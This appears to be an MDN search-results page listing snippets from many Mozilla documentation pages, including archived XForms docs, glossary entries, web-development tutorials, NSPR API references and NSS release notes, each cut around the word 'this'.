RFE to the Custom Controls Interfaces - Archive of obsolete content
introduction
this page contains requests for enhancement to the custom control interfaces.
...
this means that the bound node is not allowed to contain element nodes.
... if you need to have a custom control that works with complext content or you find our interfaces too limiting to create the type of control that you have in mind, then
this is the right place to pass along your requirements and any usecase that you are trying to solve.
XForms Alert Element - Archive of obsolete content
introduction
this message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the spec).
...if more than one source of message is specified in
this element, the order of precedence is: single node binding attributes, linking attributes, inline text.
...
this representation is used if the alert element has an inline display style.
XForms - Archive of obsolete content
obsolete since gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16)
this feature is obsolete.
...
this extension, while supporting a significant subset of the xforms 1.0 and 1.1 candidate recommendations, is not actively maintained any more since about 2010.
... for more details about the future of the mozilla xforms extension see
this blog post.
Correctly Using Titles With External Stylesheets - Archive of obsolete content
this is because the title attribute on a <link rel="stylesheeet"> element makes it either preferred or an alternative style sheet.
...
this can lead to a stylesheet being ignored, which is typically not what an author intends to do.
...
this is different than persistent stylesheets, which are always applied to a document, whether an alternate stylesheet has been selected or not.
RDF in Fifty Words or Less - Archive of obsolete content
okay, so maybe
this is a bit more than fifty words, but the key points are pretty simple (and put into bold text for you manager-types who just want to get straight to the point).
...
this syntax allows the graph-like model to be communicated between "agents".
...
this isexactly how smartmail works.
Styling Abbreviations and Acronyms - Archive of obsolete content
this is to be encouraged, and according to guideline 4 of the web content accessibility guidelines, both elements should be given a title attribute to improve "readability of the web for all people, including those with learning disabilities, cognitive disabilities, or people who are deaf." the problem authors have discovered that any abbr or acronym that has a title attribute is rendered with a dotted underline, per the following rule in resour...
...ce://gre-resources/html.css abbr[title], acronym[title] { text-decoration: dotted underline; } the solution if authors wish to remove the underline from abbr and acronym elements,
this can be done with the following rule: abbr[title], acronym[title] { text-decoration: none; } it may be better to lessen the visual weight of the border without actually removing it.
... note:
this reprinted article was originally part of the devedge site.
Web Standards - Archive of obsolete content
this article covers common issues associated with migrating applications to the open source mozilla-based browser.
... using web standards in your web pages
this article provides an overview of the process for upgrading the content of your web pages to conform to the w3c web standards.
... the business benefits of web standards
this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals.
Explaining basic 3D theory - Game development
this article explains all of the basic theory that's useful to know when you are getting started working with 3d.
... you can build geometry using
this information — here is an example of a cube: a face of the given shape is a plane between vertices.
... there are four stages to
this processing: the first one involves arranging the objects in the world, and is called model transformation.
Game over - Game development
« previousnext »
this is the 5th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson5.html.
...setinterval(draw, 10); with: var interval = setinterval(draw, 10); then replace the second if statement with the following: if(y + dy < ballradius) { dy = -dy; } else if(y + dy > canvas.height-ballradius) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } letting the paddle hit the ball the last thing to do in
this lesson is to create some kind of collision detection between the ball and the paddle, so it can bounce off it and get back into the play area.
Win the game - Game development
« previousnext »
this is the 12th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson12.html.
... compare your code you can check the finished code for
this lesson in the live demo below, and play with it to understand better how it works: next steps both losing and winning are implemented, so the core gameplay of our game is finished.
Gecko FAQ - Gecko Redirect 1
you are encouraged to join
this team by getting involved.
...cluding support for css2 positioning, but no commitment has been made to achieve a specific level of support dom level 0 level 1 core: full support making entityreferences available through dom1; per a provision of the dom1 spec for xml implementations, entities will be automatically expanded inline and therefore not available through dom1; our implementation extrapolates
this provision to apply to entityreferences as well for more information, see the dom in mozilla level 1 html dom 2 - most of it has already been implemented in gecko, including support for dom 2 events, the dom 2 style, and the dom2 core.
...graphics rendering and widget sets for win32, x, and mac user preferences library mozilla plug-in api (npapi) to support the navigator plug-in interface open java interface (oji), with sun java 1.2 jvm rdf back end font library security library (nss) original document information author(s): angus other contributors: ekrock, vidur, hidday, drunclear copyright information: portions of
this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative commons license ...
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
here is an example that makes every html paragraph yellow against a black background: /* the selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* the "color" property defines the text color, in
this case yellow.
... */ color: yellow; /* the "background-color" property defines the background color, in
this case black.
...
this is a very important feature, since a complex website can have thousands of css rules.
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
example | pass a function as an argument javascript function sayhello() { return "hello, "; } function greeting(hellomessage, name) { console.log(hellomessage() + name); } // pass `sayhello` as an argument to `greeting` function greeting(sayhello, "javascript!"); we are passing our sayhello() function as an argument to the greeting() function,
this explains how we are treating the function as a value.
... example | return a function javascript function sayhello() { return function() { console.log("hello!"); } } in
this example; we need to return a function from another function - we can return a function because we treated function in javascript as a value.
...to do so, we have two ways: 1- using a variable const sayhello = function() { return function() { console.log("hello!"); } } const myfunc = sayhello(); myfunc();
this way, it returns the hello!
Function - MDN Web Docs Glossary: Definitions of Web-related terms
a named function is a function with a function name: // function declaration function foo() {}; // named function expression (function bar() {}); // or using the ecmascript 2015 arrow notation const foo = () => {}; an inner function is a function inside another function (square in
this case).
... an outer function is a function containing a function (addsquares in
this case): function addsquares(a,b) { function square(x) { return x * x; } return square(a) + square(b); }; //using ecmascript 2015 arrow notation const addsquares = (a,b) => { const square = x => x*x; return square(a) + square(b); }; a recursive function is a function that calls itself.
... // declared functions can't be called immediately
this way // error (https://en.wikipedia.org/wiki/immediately-invoked_function_expression) /* function foo() { console.log('hello foo'); }(); */ // function expressions, named or anonymous, can be called immediately (function foo() { console.log("hello foo"); }()); (function food() { console.log("hello food"); })(); (() => console.log('hello world'))(); if you'd like to know more ab...
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
these include: that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output that if an attacker can work out its current state,
this should not enable the attacker to work out previously emitted numbers.
...note that
this is not a cryptographically secure prng.
... crypto.getrandomvalues():
this is intended to provide cryptographically secure numbers.
Signature (functions) - MDN Web Docs Glossary: Definitions of Web-related terms
public static void main(string[] args) the public keyword is an access modifier and indicates that
this method can be called by any object.
... the static keyword indicates that
this method is a class method as opposed to being an instance method.
... the void keyword indicates that
this method has no return value.
About Scriptable Interfaces - Interfaces
status of
this document
this is just a starter document, it should not be considered complete.
... most of the information of
this document is based on http://www.mozilla.org/scriptable/ and creating xpcom components scriptable interfaces interfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation.
... when we label an interface as scriptable, we're saying that components exporting
this interface can be referenced (through
this interface) from scripts (e.g javascript), and that we can write new components implementing the interface using script languages.
What text editors are available? - Learn web development
in
this article we highlight some things to think about when installing a text editor for web development.
...nual, wiki yes textwrangler closed source free mac faq, forum pdf manual no vim specific open license free windows, mac, linux mailing list online manual yes visual studio code open source under mit licence/ specific licence for product free windows, mac, linux faq documentation yes active learning in
this active learning section, we would like you to try using and/or installing a text editor of your choice.
...save yourself the hassle of retyping all
this by using a code snippet to pre-fill your document.
What is the difference between webpage, website, web server, and search engine? - Learn web development
in
this article, we describe various web-related concepts: web pages, websites, web servers, and search engines.
...
this is what you would generally do when visiting a library: find a search index and look for the title of the book you want.
...
this makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display.
What are hyperlinks? - Learn web development
in
this article, we'll go over what hyperlinks are and why they matter.
...
this is where hyperlinks revolutionized everything.
...in the rest of
this article, we discuss the various types of links and their importance to modern web design.
What is accessibility? - Learn web development
this article introduces the basic concepts behind web accessibility.
...in
this article we give general accessibility principles and explain a few rules.
...
this building has to be accessible, so it must follow these regulations for door width and toilet size and elevator placement.
Add a hitmap on top of an image - Learn web development
this article discusses client-side image maps only.
...then assign that name (preceded by a hash) as the value for the usemap attribute: <img src="image-map.png" alt="" usemap="#example-map-1" /> step 2: activate your hotspots in
this step, put all your code inside a <map> element.
...you may leave
this attribute blank if you don’t want the current area to link anywhere (say, if you’re making a hollow circle.) alt a mandatory attribute, telling people where the link goes or what it does.
Solve common problems in your JavaScript code - Learn web development
for example: function myfunction() { alert('
this is my function.'); };
this code won't do anything unless you call it with the following statement: myfunction(); function scope remember that functions have their own scope — you can't access a variable value set inside a function from outside the function, unless you declared the variable globally (i.e.
...(
this includes multidimensional arrays) how do you find the length of an array?
... what is
this, in the context of an object?
JavaScript performance - Learn web development
this article looks to introduce performance issues caused by scripts and introduces tips and tricks for optimizing javascript for web performance.
...all of
this javascript must be downloaded.
... previous overview: performance next in
this module the "why" of web performance what is web performance?
omni.ja (formerly omni.jar)
firefox and thunderbird achieve performance improvements by moving many of their internal parts from being standalone files or sets of jar files into just one jar file called omni.ja;
this reduces the amount of i/o needed to load the application.
...
this article covers the contents of the archive and techniques for inspecting those contents.
...
this change was needed to prevent firefox from becoming corrupted.
Links and Resources
html advanced validator (firefox extension) by marc gueury
this advanced html validator (based on w3c tidy and on opensp for sgml validation - just like w3c html validator) is a free, powerful, versatile, extended html validator.
...
this html advanced validator may also be downloaded from firefox add-ons: html validator.
...
this tool will measure accurately the degree of legibility of a webpage.
Choosing the right memory allocator
this article looks over some of them and tries to sort out which should be used under what circumstances.
...use these if you link against xpcom or xpcom glue;
this includes extensions with binary components.
...
this is the /js/ subtree of the source code.
Creating MozSearch plugins
example: searching mdc
this plugin lets you easily search the mozilla developer center web site.
...wvqqlpabxmh5bjjqi0gi9dtaagdbbccavlkgmq7ykczxpcqxquzhaeccj4xgml493ug21zd%2badaxh0wlm4a9mzpxjkjiiawtar5pqmalacabquulttbgccagcnnzgabbgamj5thwgvjlaaaaabjru5erkjggg%3d%3d</image> <url type="text/html" method="get" template="http://developer.mozilla.org/en/docs/special:search?search={searchterms}"/> <searchform>http://developer.mozilla.org/en/docs/special:search</searchform> </searchplugin> notice in
this case that instead of using <param> to define parameters to the search engine, they're simply embedded inside the template url.
...
this is actually the preferred way to do things when using get as the method.
Creating a Firefox sidebar
the document might be obsolete, though.obsolete since gecko 57 the social api obsolete since gecko 57 (firefox 57 / thunderbird 57 / seamonkey 2.54)
this feature is obsolete.
...
this content covers features introduced in firefox 17.
... the window.sidebar api obsolete since gecko 23 (firefox 23 / thunderbird 23 / seamonkey 2.20)
this feature is obsolete.
Adding APIs to the navigator object
programmatically adding an object to navigator var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); categorymanager.addcategoryentry("javascript-navigator-property", "myapi", my_contract_id, false, true);
this adds a new object, myapi, to the window.navigator object.
...
this adds a new api, mycomponent, to the navigator object, which you can then access as navigator.mycomponent.
... real-world example you can see an example of how
this is used in firefox by taking a look at how the mozapps api is implemented: dom/apps/webapps.manifest dom/apps/webapps.js ...
Developer guide
this guide provides information that will not only help you get started as a mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor.
... mozilla modules and module ownership
this article provides information about mozilla's modules, what the role of a module owner is, and how module owners are selected.
... check
this before checking in and out, to be sure you're working with a working tree.
Site Identity Button
depending on the configuration of your website,
this button may display a number of different icons.
...in
this case, expect to see a 'mixed content' message in the web console.
... use of a weak cipher - in
this case, you're using tls but a strong cipher was not available.
Firefox
contents experimental features in firefox
this page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary.firefox and the "about" protocolthere is a lot of useful information about firefox hidden away behind the about: url protocol.
...you can find details about profiles on mozilla's end-user support site.performance best practices for firefox front-end engineers
this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.privacy
this document lists privacy-related documentation.security best practices for firefox front-end engineers
this article will help firefox developers understand the security controls in place and avoid common pitfalls when developing front-end code for firefox.site identity buttonthe site identity button is a feature in firefox that gives users more information about the sites they visit.
mozbrowserasyncscroll
non-standard
this feature is non-standard and is not on a standards track.
...
this indicates that the content is over-scrolled, which occurs when the page "rubber-bands" after being scrolled all the way to the bottom.
... note: for performance reasons,
this event is asynchronous.
mozbrowserloadend
non-standard
this feature is not on a current w3c standards track, but it is supported on the firefox os platform.
...
this can be used when the embedder wants to stop spinning a loading indicator, or update the ui in some other way to indicate loading is complete.
... example in
this example the mozbrowserloadstart and mozbrowserloadend events are used to change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate.
mozbrowserloadstart
non-standard
this feature is non-standard and is not on a standards track.
...
this can be used when the embedder wants to start spinning a loading indicator, or update the ui in some other way to indicate loading has started.
... example in
this example the mozbrowserloadend and mozbrowserloadstart events are used to change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate.
mozbrowserselectionstatechanged
non-standard
this feature is non-standard and is not on a standards track.
...note that
this is deprecated, and current implementations should use mozbrowsercaretstatechanged instead.
...
this is unitless and represents a percentage increase/decrease, e.g.
mozbrowsershowmodalprompt
non-standard
this feature is non-standard and is not on a standards track.
...
this should be set by the embedder.
...note that if the embedder calls preventdefault() on
this event, the iframe is blocked until unblock() is called.
Gecko Chrome
this page contains information specific to chrome code running in gecko.
... chrome-only api reference
this page lists apis that only run in gecko chrome code (and sometimes in other privileged circumstances.)chrome-only css reference
this page lists css properties that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
... ua stylesheets.) chrome-only events reference
this page lists events that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
Getting from Content to Layout
to give a trivial example of when
this might be necessary, consider: "<span>foo <div></div> bar</span>".
... examples of
this type of code are in wipecontainingblock.
...
this code tries hard to avoid unnecessary frame tree modifications and is rather complicated as a result.
How to add a build-time test
we have various automation tools that help make
this possible.
...he testcookie program) in the test program: if the test fails, exit with a non-zero status and/or print the string "fail" to stdout if the test passes, exit with a zero status and don't print the string "fail" (bonus points for printing "pass" :) ) write the test so that you expect it to pass on all platforms, since if the test fails, the tree will go orange (once we've set
this up - see bug 352240 for status).
... reference the test dir in a parent makefile (<tt>yourmoduledir/makefile.in</tt>): ifdef enable_tests dirs += tests_type endif (optional, but recommended) add the new makefile to allmakefiles.sh (todo: need more details about
this) reconfigure (e.g.
How to get a process dump with Windows Task Manager
this article describes how to get a process dump with task manager on windows.
... (to get a process dump for thunderbird or some other product, substitute the product name where ever you see firefox in these instructions.) caution the memory dump that will be created through
this process is a complete snapshot of the state of firefox when you create the file, so it contains urls of active tabs, history information, and possibly even passwords depending on what you are doing when the snapshot is taken.
...please ask for help doing
this!
Log.jsm
this module is still under development.
...to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to
this chunk of code.
... // use dots to create a hierarchy,
this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console.
Using workers in JavaScript code modules
it works exactly like a standard worker, except that it has access to js-ctypes via a global ctypes object available in the global scope of the worker obsolete since gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5)
this feature is obsolete.
...
this lets you run code in a separate thread from your jsm.
... to create a chromeworker for
this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_url.js');
this will create a new chrome worker that will immediately begin to run the script at the specified url (in
this case, "script_url.js").
WebChannel.jsm
components.utils.import("resource://gre/modules/webchannel.jsm"); constructor webchannel(string webchannelid, nsiuri originorpermission); 2nd argument is a valid origin that should be part of requests for
this channel.
... method overview listen(function callback); stoplistening(); send(object message, eventtarget target); attributes id string webchannel id methods listen() registers the callback for messages on
this channel.
... id - webchannel id of the incoming messages message - incoming message object sendercontext - incoming message context -
this should be treated as an opaque object and passed to the .send() method stoplistening() resets the callback for messages on
this channel.
Various MathML Tests
overview of presentation mathml elements testing tensor indices <mmultiscripts>: r i1 j2 k3 ;
this with <none/>, a qp i a bit of calculus: ∫ a b f ( x ) dx ∂ ∂ x f ( x , y ) + ∂ ∂ y f ( x , y ) here is the alphabet with invisible portions wrapped by <mphantom> in between: a b c d e f g h i j k l m n o p q r s t u v w x y z .
... testing mathml <mrow>: d ( a b ) x 2 + 4 * x + p q = 0 , with
this <mfrac> hanging here d * t ( i + j n ) + p y * q p x * b x + a + c d in the middle of a lot of running text to try to explain what
this means to those who care to read.
... testing mathml <merror>, <mtext>:
this is a text in mtext
this is a text in merror testing <maction>: click to toggle between expressions, and watch the status line onmouseover/onmouseout: statusline#first expression first expression statusline#second expression second expression statusline#and so on...
Mozilla Development Tools
this page lists the various development tools that we operate and/or maintain here at mozilla.org.
...access doctor by clicking the "edit
this page" link at the bottom of any mozilla.org web page.
... original document information author(s): myk melez last updated date: november 8, 2005 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Investigating CSS Performance
http://people.mozilla.org/~jmuizelaar/css-perf.patch
this patch instruments a bunch of key places and should give an estimate of the order of magnitude of the different parents.
... two counts are collected which allow for an estimation of the amount of work being done during restyle: resolvestyleforcount
this is incremented everytime that we do style resolution on an element contentenumfunccount
this is incremented roughly for every rule that we test against time during restyle can be spent in a bunch of places.
...
this was developed while investigating bug 1110625 ...
Profiling with Instruments
instruments has a "counters" instrument that can do
this.
...
this malloc profiling is done using the malloc_logger infrastructure (similar to mallocstacklogging).
... currently
this means you need to build with jemalloc disabled (ac_add_options --disable-jemalloc).
turbostat
this article provides an introduction to using it.
... note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
Preference reference
accessibility.tabfocusthe preference accessibility.tabfocus controls what elements receive focus when the user presses the tab key.browser.altclicksavethe preference browser.altclicksave controls whether clicking a link while holding the alt key starts the download of that link.browser.dom.window.dump.enabled
this setting enables the dump function, which sends messages to the system console.
... set it to true to enable it, or false to disable it.browser.dom.window.dump.filebrowser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in
this preference if browser.dom.window.dump.enabled is set to true.
...the emitting of the oncopy, oncut and onpaste events are controlled by
this preference.
Preferences system
this document describes toolkit's preferences system.
... using
this system it is possible to create preferences windows that display and operate appropriately on various platforms (windows, macos x and gnome).
...reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like
this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
Patches and pushes
<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***
this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchf...
...
this will display a text box to assign the review to someone.
...write up something like
this for your comment: landed
this on aurora, http://hg.mozilla.org/releases/l10n/mozilla-aurora/ab-cd/rev/adfe1234feac, marking fixed.
Leak And Bloat Tests
this page describes how to perform tests that measure memory leaks and bloat for mailnews and its sub-components.
... manually running tests setting up build set up build thunderbird or seamonkey with your standard mozconfig file, but with the following options set: ac_add_options --enable-debug ac_add_options --enable-trace-malloc running the tests in your <objdir> run the following command: make mailbloat
this will run the tests and produce some result files.
... see debugging memory leaks for more information on what to do with
this data.
MailNews automated testing
this page and its sub-pages describe (and link to) the available test mechanisms within mailnews, and provide supporting information for developers and testers.
...
this makes them especially useful for testing at the component / module level.
...in the long term we would like to lose
this extra complexity in favor of the event-loop-spinning style of operation used by mozmill.
Creating a Cookie Log
if you are reading
this, you have probably been directed here from a bug report.
... enabling cookie logging windows open a command prompt (
this is under programs or programs/accessories in normal installations of windows).
... original document information author(s): mike connor last updated date: december 4, 2004 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Cached Monitors
this chapter describes the functions you use when you work with cached monitors.
...
this arrangement allows a cached monitor to be associated with another object without preallocating a monitor for all objects.
...
this additional flexibility comes at the cost of a small loss in performance.
I/O Functions
this chapter describes the nspr functions used to perform operations such as system access, normal file i/o, and socket (network) i/o.
...for information about the types most commonly used with the functions described in
this chapter, see i/o types.
... pr_createfilemap pr_memmap pr_memunmap pr_closefilemap anonymous pipe function pr_createpipe polling functions
this section describes two of the most important polling functions provided by nspr: pr_poll pr_getconnectstatus pollable events a pollable event is a special kind of file descriptor.
I/O Types
this chapter describes the most common nspr types, enumerations, and structures used with the functions described in i/o functions and network addresses.
...
this section introduces prfiledesc and related types.
...to refer specifically to the files in a file system (that is, disk files),
this documentation uses the termnormal files.
Logging
this chapter describes the global functions you use to perform logging.
...nspr uses
this facility itself for its own development debugging purposes.
...in the api: prlogmoduleinfo prlogmodulelevel two environment variables control the behavior of logging at execution time: nspr_log_modules nspr_log_file logging functions and macros the functions and macros for logging are: pr_newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr_log_test pr_log pr_assert pr_assert pr_static_assert (new in nspr 4.6.6xxx
this hasn't been released yet; the number is a logical guess) pr_not_reached use example the following sample code fragment demonstrates use of the logging and debugging aids.
Network Addresses
this chapter describes the nspr types and functions used to manipulate network addresses.
... network address types and constants network address functions the api described in
this chapter recognizes the emergence of internet protocol version 6 (ipv6).
... if used consistently,
this api also eliminates the need to deal with the byte ordering of network addresses.
PRHostEnt
this structure is output from pr_gethostbyname and pr_gethostbyaddr and passed to pr_enumeratehostent.
...for valid nspr usage,
this field must have a value indicating either an ipv4 or an ipv6 address.
... description
this structure is used by many of the network address functions.
PR_ASSERT
syntax #include <prlog.h> void pr_assert ( expression ); parameters the macro has
this parameter: expression any valid c language expression that evaluates to true or false.
... returns nothing description
this macro evaluates the specified expression.
...
this macro compiles to nothing if compile-time options are not specified to enable logging.
PR_AcceptRead
this parameter is valid only if the function return does not indicate failure.
...
this parameter is valid only if the function return does not indicate failure.
...
this buffer must be large enough to receive amount bytes of data and two prnetaddr structures (thus allowing the runtime to align the addresses as needed).
PR EnumerateAddrInfo
to begin an enumeration,
this argument is set to null.
...
this parameter is not checked for validity.
...on output,
this structure is filled in by the runtime if the result of the call is not null.
PR_EnumerateHostEnt
to begin an enumeration,
this argument is set to zero.
...
this parameter is not checked for validity.
...on output,
this structure is filled in by the runtime if the result of the call is greater than 0.
PR_FreeLibraryName
syntax #include <prlink.h> void pr_freelibraryname(char *mem); parameters the function has
this parameter: mem a reference to a character array that was previously allocated by the dynamic library runtime.
... description
this function deletes the storage allocated by the runtime in the functions described previously.
... it is important to use
this function to rather than calling directly into malloc in order to isolate the runtime's semantics regarding storage management.
PR_Init
syntax #include <prinit.h> void pr_init( prthreadtype type, prthreadpriority priority, pruintn maxptds); parameters pr_init has the following parameters: type
this parameter is ignored.
... priority
this parameter is ignored.
... maxptds
this parameter is ignored.
PR_NOT_REACHED
syntax #include <prlog.h> void pr_not_reached(const char *_reasonstr); parameters the macro has
this parameter: reasonstr a string that describes why you should not have reached
this statement.
... returns nothing description
this macro writes the specified reason string to the log and terminates the application.
...
this macro compiles to nothing if compile-time options are not specified to enable logging.
PR_NewThreadPrivateIndex
you use
this index with pr_setthreadprivate and pr_getthreadprivate.
...
this function can be specified as null.
...you pass
this index to pr_setthreadprivate and pr_getthreadprivate to set and retrieve data associated with the index.
PR_STATIC_ASSERT
syntax #include <prlog.h> pr_static_assert ( expression ); parameters the macro has
this parameter: expression any valid expression which evaluates at compile-time to true or false.
... returns nothing description
this macro evaluates the specified expression.
...
this macro may only be used in locations where an extern function declaration may be used.
PR_SetLibraryPath
syntax #include <prlink.h> prstatus pr_setlibrarypath(const char *path); parameters the function has
this parameter: path a pointer to a character array that contains the directory path that the application should use as a default.
...
this may indicate that the function cannot allocate sufficient storage to make a copy of the path string description
this function registers a default library pathname with the runtime.
...
this allows an environment to express policy decisions globally and lazily, rather than hardcoding and distributing the decisions throughout the code.
PR_SetLogBuffering
syntax #include <prlog.h> void pr_setlogbuffering(printn buffer_size); parameters the function has
this parameter: buffer_size the size of the buffer to be used for logging.
... returns nothing description
this function sets the size of the buffer used in nspr logging.
... ordinarily, a user application need not use
this function, as nspr initializes logging at nspr startup.
PR_SetLogFile
syntax #include <prlog.h> prbool pr_setlogfile(const char *name); parameters the function has
this parameter: name the name of the log file.
...subsequent log messages are written to
this file.
... ordinarily, a user application need not use
this function, as nspr initializes logging at nspr startup.
PR_UnloadLibrary
syntax #include <prlink.h> prstatus pr_unloadlibrary(prlibrary *lib); parameters the function has
this parameter: lib a reference previously returned from pr_loadlibrary.
... description
this function undoes the effect of a pr_loadlibrary.
... after calling
this function, future references to the library using its identity as returned by pr_loadlibrary will be invalid.
NSS CERTVerify Log
to create a log: #include "secport.h" #include "certt.h" certverifylog *log; arena = port_newarena(512); log = port_arenaznew(arena,log); log->arena = arena; you can then pass
this log into your favorite cert verify function.
...defined in certt.h: /* *
this structure is used to keep a log of errors when verifying * a cert chain.
...
this allows multiple errors to be reported all at * once.
NSS FAQ
this section is out of date iplanet e-commerce solutions has certified nss 3.1 on 18 platforms, including aix 4.3, hp-ux 11.0, red hat linux 6.0, solaris (2.6 or later), windows nt (4.0 or later), and windows 2000.
...since leading accelerator vendors such as chrysalis-it, ncipher, and rainbow technologies also support
this interface, nss-enabled applications can support a wide variety of hardware accelerators.
...
this section is out of date yes; see build instructions for nss 3.1.
NSS Memory allocation
this makes it difficult to tell arenas that are truly leaked from those that are merely in the free list.
...
this makes nss slower, but produces accurate leak allocation stacks.
...
this can be done outside the program entirely, or can be done by the program itself, in the main() function.
NSS 3.15.3.1 release notes
bug 946351 - misissued google certificates from dcssi new in nss 3.15.3.1 new functionality no new major functionality is introduced in
this release.
...
this is a patch release to revoke trust of a subordinate ca certificate that was mis-used to generate a certificate used by a network appliance.
... bugs fixed in nss 3.15.3.1 bug 946351 - misissued google certificates from dcssi a complete list of all bugs resolved in
this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3.1&product=nss compatibility nss 3.15.3.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.15.3 release notes
bug 925100 - (cve-2013-1741) ensure a size is <= half of the maximum pruint32 value bug 934016 - (cve-2013-5605) handle invalid handshake packets bug 910438 - (cve-2013-5606) return the correct result in cert_verifycert on failure, if a verifylog isn't used new in nss 3.15.3 new functionality no new major functionality is introduced in
this release.
...
this release is a patch release to address cve-2013-1741, cve-2013-5605 and cve-2013-5606.
... bugs fixed in nss 3.15.3 bug 850478 - list rc4_128 cipher suites after aes_128 cipher suites bug 919677 - don't advertise tls 1.2-only ciphersuites in a tls 1.1 clienthello a complete list of all bugs resolved in
this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3&product=nss compatibility nss 3.15.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.16.1 release notes
new types in sslt.h ssl_padding_xtn - the value of
this enum constant changed from the experimental value 35655 to the iana-assigned value 21.
...
this macro has the same numeric value as public_mech_ecc_flag.
... bugs fixed in nss 3.16.1
this bugzilla query returns all the bugs fixed in nss 3.16.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.1 ...
NSS 3.16.2.2 release notes
nss 3.16.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_2_rtm/src/ new in nss 3.16.2.2 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix a regression.
...
this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.16.3 release notes
nss 3.16.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_3_rtm/src/ new in nss 3.16.3
this release consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function.
...
this function was already added in nss 3.16.2, however, it wasn't declared in a public header file.
...fingerprint: 87:9f:4b:ee:05:df:98:58:3b:e3:60:d6:33:e7:0d:3f:fe:98:71:af turned off websites and code signing trust bits (1024-bit root) cn = netlock expressz (class c) tanusitvanykiado sha1 fingerprint: e3:92:51:2f:0a:cf:f5:05:df:f6:de:06:7f:75:37:e1:65:ea:57:4b turned off websites and code signing trust bits (1024-bit root) bugs fixed in nss 3.16.3
this bugzilla query returns all the bugs fixed in nss 3.16.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.3 ...
NSS 3.16.4 release notes
nss 3.16.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_4_rtm/src/ new in nss 3.16.4
this release consists primarily of ca certificate changes as listed below, and includes a small number of bug fixes.
...it was removed in nss 3.16.3, but discussion in the mozilla.dev.security.policy forum led to the decision to keep
this root included longer in order to give website administrators more time to update their web servers.
... bugs fixed in nss 3.16.4
this bugzilla query returns all the bugs fixed in nss 3.16.4: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.16.4 ...
NSS 3.16.6 release notes
